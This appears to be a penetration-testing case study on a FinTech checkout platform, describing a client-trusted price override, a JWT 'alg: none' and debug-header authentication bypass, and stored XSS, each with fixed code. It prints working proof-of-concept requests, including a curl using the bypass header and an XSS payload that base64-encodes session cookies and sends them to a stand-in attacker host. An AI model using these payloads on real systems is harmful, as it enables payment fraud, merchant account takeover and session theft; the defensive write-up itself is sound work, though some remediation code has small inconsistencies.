Web Application Penetration Testing Hardening high-volume FinTech platforms against business logic bypasses, broken JWT authentication, and AI-introduced client-side injection

The “Vibe Coding” Paradigm Shift

The checkout route that let us buy a £2,400 laptop for £1.00 had no injection flaw, no missing authentication and no unsafe dependency. It parsed its input correctly, validated every field’s type, rejected malformed JSON with a tidy 400, and was covered by tests that passed. It also added up the discounts the client sent it and charged that total. Every line was defensible in isolation. The composition was worthless.

That failure has a shape, and LLM-assisted development produces it at scale. A model asked to write a checkout handler writes a good checkout handler — correct parsing, sensible error objects, consistent naming, better hygiene than most of what humans commit under deadline. What it does not do is ask why the price is arriving from a browser at all. That question is not a property of the function; it is a property of the boundary the function sits on, and the prompt did not describe the boundary. Neither, usually, does the ticket.

Note the mechanism, because it matters for who is at fault. This is not “AI writes insecure code” — much of the AI-generated code we read at VeloCart was cleaner than the hand-written code around it. It is that generated code is locally correct and reviewed as though local correctness were the question. Reviewers read a well-formed diff, find nothing wrong in it, and approve. Pattern-matching SAST does the same thing for the same reason: there is no dangerous sink to flag. The volume is what changes the risk. A team producing three times the code with the same review capacity is not reviewing three times as carefully.

“Vibe coding” is the popular name for this and it is a slightly unfair one — the problem long predates copilots, and price-in-the-request has been in the OWASP literature for two decades. What is new is the throughput. Over six weeks with VeloCart, all three critical findings were flaws where the code did exactly what it was asked, and the asking was the vulnerability.

Technical Audit Snapshot

5-Phase Attack Methodology

Five phases, weighted towards manual work. Automated scanning ran on the first day and contributed one Medium finding; the three criticals all came from reading how the services talked to each other and asking what each one was trusting. That ratio is normal for business-logic flaws and it is why this kind of engagement costs what it does — there is no scanner for “the server believes the client about money”.

Target Architecture Under Test

VeloCart runs Next.js API services behind a central edge gateway that terminates TLS and validates JWTs. The interesting property of this diagram is the dotted lines. Once the gateway has authenticated a request, the services behind it trust each other and trust what the gateway forwards — there is no second authorisation decision at the service boundary. That is a common and defensible design at this size, and it means the gateway’s correctness is load-bearing for everything downstream. Two of our three criticals are consequences of that: one because the gateway’s auth could be bypassed outright, one because the gateway had no opinion about whether the numbers in a checkout body made sense.

Vulnerability Classification Matrix

Each finding was scored with CVSS v3.1 and mapped to the OWASP Top 10. Worth saying plainly: CVSS base scores encode no business context, deliberately. The 9.8 on the auth bypass and the 9.1 on the price override are almost indistinguishable as numbers, but they are different problems for a finance team — one drains merchant wallets, the other bleeds margin invisibly through transactions that all look legitimate in the ledger. We kept the scores standard and put the business framing in a separate column of the report, rather than adjusting the maths to argue for attention. Inflating severities to force priority works once, and costs you credibility on the next real critical.

Critical Finding OC-WEB-001 — Checkout Endpoint Price Override

The checkout route accepted a pricing object containing a base price, an array of discounts, and a finalChargePrice. It looked up every item in the database and validated every field’s type. Then it charged finalChargePrice.

The route was not naive about its input — that is what makes it interesting. It rejected unknown item IDs, refused non-numeric amounts, and returned clean validation errors. What it never did was recompute. The client sent an arithmetic result and the server treated the result as data rather than as a claim to be checked, so the entire pricing model was advisory.

Two details made this worse than the usual version of this bug. First, the discount amount had no floor, so a negative discount was accepted as readily as a positive one — the state machine had no notion of a total that could not go below zero. Second, and the reason it survived to production, is that the ledger entry produced by an exploited transaction is well-formed. The order record shows a coupon, a discount and a total that internally agree. Nothing reconciles, nothing errors, no alert fires. You find this in a monthly margin review, if someone is looking, months later.

Attack Path Sequence

Attack Proof-of-Concept

curl -X POST https://api.velocart.example/v1/checkout \
  -H "Authorization: Bearer <victim_jwt>" \
  -H "Content-Type: application/json" \
  -d '{
    "cartId": "cart_991823a",
    "items": [
      { "itemId": "item_premium_macbook", "quantity": 1 }
    ],
    "pricing": {
      "basePrice": 249900,
      "discounts": [
        {
          "type": "loyalty_vibe_match",
          "code": "LOYALTY99",
          "amount": 249800,
          "customOverride": true
        }
      ],
      "finalChargePrice": 100
    }
  }'

The service passed finalChargePrice straight into the payment processor call without ever computing basePrice - sum(discounts) from its own catalogue data. A $2,499 machine charged at $1.00, authorised by the real card, fulfilled by the real warehouse.

Note that the WAF forwarded this without comment, correctly. Every field is the right type, the JSON is well-formed, there is no injection, no encoding trick, nothing anomalous in the request shape. A WAF cannot know that 249800 is not a permissible discount on this item for this customer, because that fact lives in the catalogue and the promotions engine, not in the request. Anyone who tells you a WAF covers business-logic flaws is describing a product they have not tested this way.

The Remediation Block (Before vs After)

The fix is not more validation. It is refusing to accept the field at all: the client sends what it wants to buy, the server derives what that costs. Below, the original handler alongside the version that ships.

// AI code trusted client final calculation
export async function handleCheckout(req, res) {
const { cartId, pricing } = req.body;

// Directly passes total charge from payload
const transaction = await processPayment({
  cartId,
  amount: pricing.finalChargePrice, 
  currency: 'USD'
});

return res.status(200).json(transaction);
}

// Enforce cryptographic server-side validation
import { z } from 'zod';
import { db } from '@/lib/db';

const checkoutSchema = z.object({
cartId: z.string().uuid(),
pricing: z.object({
  discounts: z.array(z.object({
    code: z.string(),
    amount: z.number().positive(),
  }))
})
});

export async function handleCheckout(req, res) {
const parsed = checkoutSchema.parse(req.body);
const cart = await db.carts.findUnique({ 
  where: { id: parsed.cartId },
  include: { items: true }
});

// Calculate actual base pricing server-side
const serverCalculatedBase = cart.items.reduce(
  (acc, item) => acc + item.price, 0
);

// Validate promo validity against database state
const validatedDiscountSum = await calculatePromo(
  parsed.pricing.discounts
);

const secureFinalPrice = Math.max(
  0, 
  serverCalculatedBase - validatedDiscountSum
);

const transaction = await processPayment({
  cartId: parsed.cartId,
  amount: secureFinalPrice,
  currency: 'USD'
});

return res.status(200).json(transaction);
}

The schema is doing less work here than it appears to. z.number().positive() on the discount amount closes the negative-offset trick, but a positive discount of 249,800 would still pass the schema — it is calculatePromo re-deriving the discount from the promotions table that actually decides the number, and Math.max(0, …) that stops any residual arithmetic going below zero. Schema validation constrains shape. Only the database lookup constrains meaning, and conflating the two is how teams ship a “validated” endpoint that is still trusting the caller.

Two costs came with this. The handler now performs an extra round trip to the promotions store on every checkout, on the hot path, which the team measured before shipping rather than after. And moving pricing entirely server-side broke the frontend’s optimistic total display, which had been computing the same sum in the browser; it now renders a server-quoted price and shows a brief pending state instead. That is a real product regression, small but visible, and it is the honest cost of the fix. Any recommendation of this shape that arrives without the latency and UX line attached has not been implemented by the person making it.

Live Request Tamperer

Replay the same price-override payload against both builds. Identical request, identical headers, identical token — the only difference is which handler receives it. Watch what the vulnerable route returns: a 200 and an order ID. Not an error a monitoring system could catch. A successful transaction.

POST /v1/checkout HTTP/1.1
Host: api.velocart.example
Authorization: Bearer <victim_jwt>
Content-Type: application/json

{
"cartId": "cart_991823a",
"items": [{ "itemId": "item_premium_macbook", "qty": 1 }],
"pricing": { "basePrice": 249900, "finalChargePrice": 100 }
}

{
"orderId": "TX-99021",
"item": "Premium MacBook (249900¢ list)",
"charged": 100,
"currency": "USD"
}

{
"error": "PRICE_MISMATCH",
"detail": "client finalChargePrice (100) != server total (249900)",
"validation": "zod:pricing.finalChargePrice",
"logId": "telemetry-4891a"
}

Critical Finding OC-WEB-002 — Broken JWT Middleware & Debug Auth Bypass

The prompt in the commit history reads, near enough: create a fast testing route so frontend developers can simulate merchant logins without hitting the central database. It is a reasonable request. The generated middleware honoured it precisely — it accepted alg: "none" tokens, and it accepted a X-Auth-Bypass header that skipped identity resolution entirely.

Nothing in that request said “and only in development”, so nothing in the output was gated on it. No NODE_ENV check, no build-time exclusion, no feature flag. The code was correct against its specification and its specification was the vulnerability. A human developer writing the same convenience shim would very often have added the gate unprompted, from the accumulated instinct that shortcuts leak into production — which is exactly the kind of unstated context a model has no reliable way to supply.

alg: "none" deserves a note of its own, because it is not a subtle flaw. It is a design defect of the JWS specification that has been public since 2015, and every serious library now rejects it by default or refuses to verify without an explicit algorithm allowlist. Reaching it in 2026 means the code was not calling a library’s verify function at all; it was decoding the token, reading the header, and branching on what the token claimed about itself. Asking an attacker-supplied value how it should be validated is the whole bug, and it recurs constantly in hand-rolled auth.

Two independent bypasses in one middleware also matters operationally. Fixing the one you found, shipping, and declaring the issue closed is the common outcome — and the header would have survived it.

Attack Vector Diagram

Exploitation Mechanics

Either route worked. Craft an unsigned token with {"alg":"none"} and any claims you like, or skip the token entirely and send X-Auth-Bypass: VeloCart-DevTeam-2026. The header value was not a secret in any meaningful sense — it appeared in a bundled JavaScript chunk, which is how we found it in under an hour of reconnaissance without ever seeing the repository.

The second variant is the one that should worry a defender: it requires no cryptography, no token manipulation, no tooling. A single curl. Any endpoint in the merchant interface, as any merchant.

# Proof of Concept: Zero-Signature Merchant Account Takeover
curl -X GET https://api.velocart.example/v1/merchant/wallet \
  -H "X-Auth-Bypass: VeloCart-DevTeam-2026" \
  -H "X-Merchant-Target: merchant_gold_retail_9981"

That returned the target merchant’s wallet balance, payout configuration and settlement account — read and write. We demonstrated the write path once, against a test merchant, with a one-cent payout redirection, and stopped there; the client agreed in the scoping call that proving fund diversion did not require diverting funds. Nothing about the request was logged as anomalous, because from the application’s perspective nothing anomalous happened. An authenticated administrator read a wallet.

Hardened Authorization Middleware Implementation

Three things in the middleware below carry the fix, and they are not equally important. Rejecting requests carrying X-Auth-Bypass is the least of them — the real fix was deleting the code that honoured it, and the rejection is a tripwire so that anyone still sending it shows up in the logs rather than failing silently. Passing an explicit algorithms allowlist to jwtVerify is what closes alg: "none" and, equally, the RS256-to-HS256 confusion attack where an attacker signs with the public key as an HMAC secret. Setting an expected issuer is what stops a valid token minted by a different service in the estate being accepted here.

One caveat worth stating: this middleware answers “who are you”, not “may you do this”. It sets X-Validated-User and X-Validated-Role and forwards. Downstream services must not treat those headers as authoritative unless the gateway is the only possible path to them and it strips inbound copies — otherwise anyone who reaches a service directly can assert their own role. We verified that network path; on a flatter deployment it would be the next finding.

// middleware/auth.ts
// Secured authorization pipeline enforcing strict validation and removing diagnostic hooks.

import { NextRequest, NextResponse } from 'next/server';
import { jose } from 'jose'; // Use safe, high-performance web-crypto implementation

const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET_KEY);
const SUPPORTED_ALGORITHMS = ['HS256', 'RS256'];

export async function middleware(req: NextRequest) {
  // 1. Explicitly strip diagnostic and bypass headers before routing
  const headers = new Headers(req.headers);
  if (headers.has('X-Auth-Bypass')) {
    return NextResponse.json({ error: 'Prohibited Header Detected' }, { status: 400 });
  }

  const authHeader = req.headers.get('Authorization');
  if (!authHeader?.startsWith('Bearer ')) {
    return NextResponse.json({ error: 'Missing Authentication Token' }, { status: 401 });
  }

  const token = authHeader.split(' ')[1];

  try {
    // 2. Decode the header first to inspect algorithm declarations explicitly
    const decoded = jose.decodeProtectedHeader(token);
    if (!SUPPORTED_ALGORITHMS.includes(decoded.alg || '')) {
      return NextResponse.json({ error: 'Unsupported Cryptographic Algorithm' }, { status: 403 });
    }

    // 3. Perform atomic cryptographic verify using strict internal keys
    const { payload } = await jose.jwtVerify(token, JWT_SECRET, {
      algorithms: SUPPORTED_ALGORITHMS,
      issuer: 'velocart.auth.service',
    });

    // 4. Bind validated context securely to outbound gateway stream
    headers.set('X-Validated-User', payload.sub as string);
    headers.set('X-Validated-Role', payload.role as string);

    return NextResponse.next({
      request: { headers }
    });
  } catch (error) {
    return NextResponse.json({ error: 'Cryptographic Validation Failed' }, { status: 401 });
  }
}

Critical Finding OC-WEB-003 — Stored XSS in AI-Generated Vendor Feedback

React escapes interpolated content by default, which is why stored XSS in a React application almost always traces back to the one API that opts out. The vendor dashboard’s reviews page rendered buyer comments through dangerouslySetInnerHTML, because a product requirement asked for basic formatting — bold and italics in customer feedback — and that is the shortest path to it.

The API is named dangerouslySetInnerHTML rather than setInnerHTML specifically so this decision cannot be made accidentally. It was made deliberately, by someone solving a formatting problem, and reviewed by someone reading a diff about formatting. Everyone involved was competent. Nobody’s attention was on the fact that the string being rendered originated from an unauthenticated public endpoint and would later be displayed to an administrator.

Which is the property that upgrades this from a Medium to a Critical. The attacker submits a review as a member of the public; the payload executes in a browser holding a merchant-admin session. The privilege escalation is built into the workflow, and it is the same shape as every admin-panel XSS: the person with the most authority is the one whose job is to read attacker-controlled text.

Vulnerability Vector

The payload uses onerror on a broken image rather than a <script> tag, because <script> inserted via innerHTML does not execute — a detail that has convinced more than one team their naive filter was sufficient. Event handlers on any element execute fine:

{
  "productId": "prod_8819",
  "rating": 5,
  "comment": "<img src=x onerror=\"const exfil=Buffer.from(document.cookie).toString('base64');fetch('https://attacker.evil.tld/log?d='+exfil)\" />"
}

The script ran the moment an administrator opened the Review Management page, in their origin, with their session. No interaction, no phishing, no lure — the victim’s job description is the delivery mechanism.

Session cookies were the obvious loot, and HttpOnly would have blunted that specific step. It would not have stopped the attack. Script running in the admin’s origin can simply use their session: issue authenticated requests to the merchant API, change the payout account, create a second admin user, and do it all from the victim’s own browser and IP, where every request looks exactly like the administrator’s normal work. Treating XSS as a cookie-theft problem consistently underrates it.

Production Mitigation Integration

DOMPurify with an explicit allowlist is the fix, and the configuration matters more than the library choice. ALLOWED_ATTR: [] is the important line: permitting b and i while allowing arbitrary attributes leaves onerror, onmouseover and style in play, and attribute-level filtering is where hand-rolled sanitisers fail. The allowlist approach also means new payload techniques do not need new rules — anything not named is dropped.

Sanitise on output, as here, rather than on input. Storing the sanitised version destroys the original, so a bug in your sanitiser becomes permanent data loss and you lose the forensic record of what was actually submitted. It also means changing the policy later requires reprocessing the corpus. Store what the user sent; clean it every time you render it.

The remaining trade-off is that DOMPurify runs on every render of every comment, which on a dashboard listing hundreds of reviews is measurable — memoise it per comment rather than sanitising in the render path. And a content security policy without unsafe-inline should sit behind all of this as the layer that catches the next dangerouslySetInnerHTML someone adds, because there will be one.

// components/VendorFeedback.tsx
// Securely sanitize nested rich HTML tags using DOMPurify with strict configurations.

import React from 'react';
import DOMPurify from 'isomorphic-dompurify'; // Flawless SSR-safe sanitization library

interface ReviewProps {
  comment: string;
  author: string;
}

export const VendorFeedback: React.FC<ReviewProps> = ({ comment, author }) => {
  // Configure DOMPurify to allow ONLY basic formatting tags
  const cleanHTML = DOMPurify.sanitize(comment, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
    ALLOWED_ATTR: [], // Prohibit src, href, onload, onerror completely
  });

  return (
    <div className="rounded-lg border border-zinc-800 bg-zinc-900/40 p-4 shadow-sm backdrop-blur-md">
      <div className="flex justify-between border-b border-zinc-800 pb-2 text-xs">
        <span className="font-semibold text-zinc-200">{author}</span>
        <span className="text-zinc-500">Verified Merchant Review</span>
      </div>
      <div 
        className="mt-3 text-sm text-zinc-300 leading-relaxed"
        dangerouslySetInnerHTML={{ __html: cleanHTML }} 
      />
    </div>
  );
};

Attack Surface Risk Score · Before vs After

A composite of reachable entry points, session validity windows and validation coverage, tracked weekly. It is our weighting, not an industry metric, and it should be read as a shape rather than a measurement: the two steep segments are the authorisation middleware landing in week three and the checkout rewrite in week four, and the flat weeks either side are where the work was happening without the score moving. Composite scores are good at showing a board where effort paid off and bad at everything else. The 1.8 is not zero, does not cover code written after we left, and expires the moment the next feature ships.

Side-by-Side Attack Simulator Replay

The same price-manipulation payload against the pre-engagement code and the hardened build, side by side. The detail to watch is not that one succeeds and one fails — it is what each one looks like to whoever is on call. The vulnerable path produces a normal 200 and a normal order record. The hardened path produces a rejection with a reason, which is a log line someone can alert on.

Quantifiable Business Impact

Three critical findings closed and re-tested, plus something the client valued more in the end: a report they could hand to enterprise partners and investors whose due-diligence questionnaires ask whether an independent test has been done and what came of it. The honest version of that value is narrow. A penetration test is a point-in-time sample by a small team against a codebase that changes weekly — it says what we found in six weeks, not what is there. VeloCart’s durable gain was the CI guardrails and the review habit, not the certificate-shaped artefact.

Strategic Takeaways

All three findings were locally correct code on a badly drawn trust boundary. That is the thing to take away, and it is a review problem before it is an AI problem.

1. The client may say what it wants, never what something costs or who it is. Price, discount, tax, tier, role, entitlement — all of it is derived server-side from your own data, or it is not enforced at all. Schema validation constrains shape and is routinely mistaken for this; z.number().positive() on a discount blocks a negative offset and cheerfully accepts a fraudulent one. Only a lookup against the promotions table decides what the number is allowed to be.
2. Review the boundary, not the diff. Every one of these passed review because reviewers asked whether the code was correct rather than what it was trusting. Adopt the second question explicitly: what does this handler believe, and who supplied that belief? It is the only review habit that catches business-logic flaws, and it does not scale by hiring more reviewers — which is precisely the problem when generated code triples the volume arriving at the same review capacity.
3. Ask for the constraint, because a model will not invent it. The debug bypass existed because the prompt said “fast testing route” and did not say “development only”. Generated code implements the request exactly, including everything the request forgot. Put the non-functional constraints in the prompt, then enforce them where they cannot be forgotten: an ESLint rule banning dangerouslySetInnerHTML outside an allowlisted module, a test asserting alg: "none" is rejected, a CI check failing any handler that reads a price from a request body. Those checks are cheap and they hold when attention does not.
4. A pentest is a sample, not a warranty. We tested six weeks of a codebase that changes weekly, and we found what we found. The guardrails are the part that keeps working after we leave; the report is a snapshot of one particular Tuesday. Any provider — us included — presenting a clean re-test as proof of a secure application is selling the wrong thing.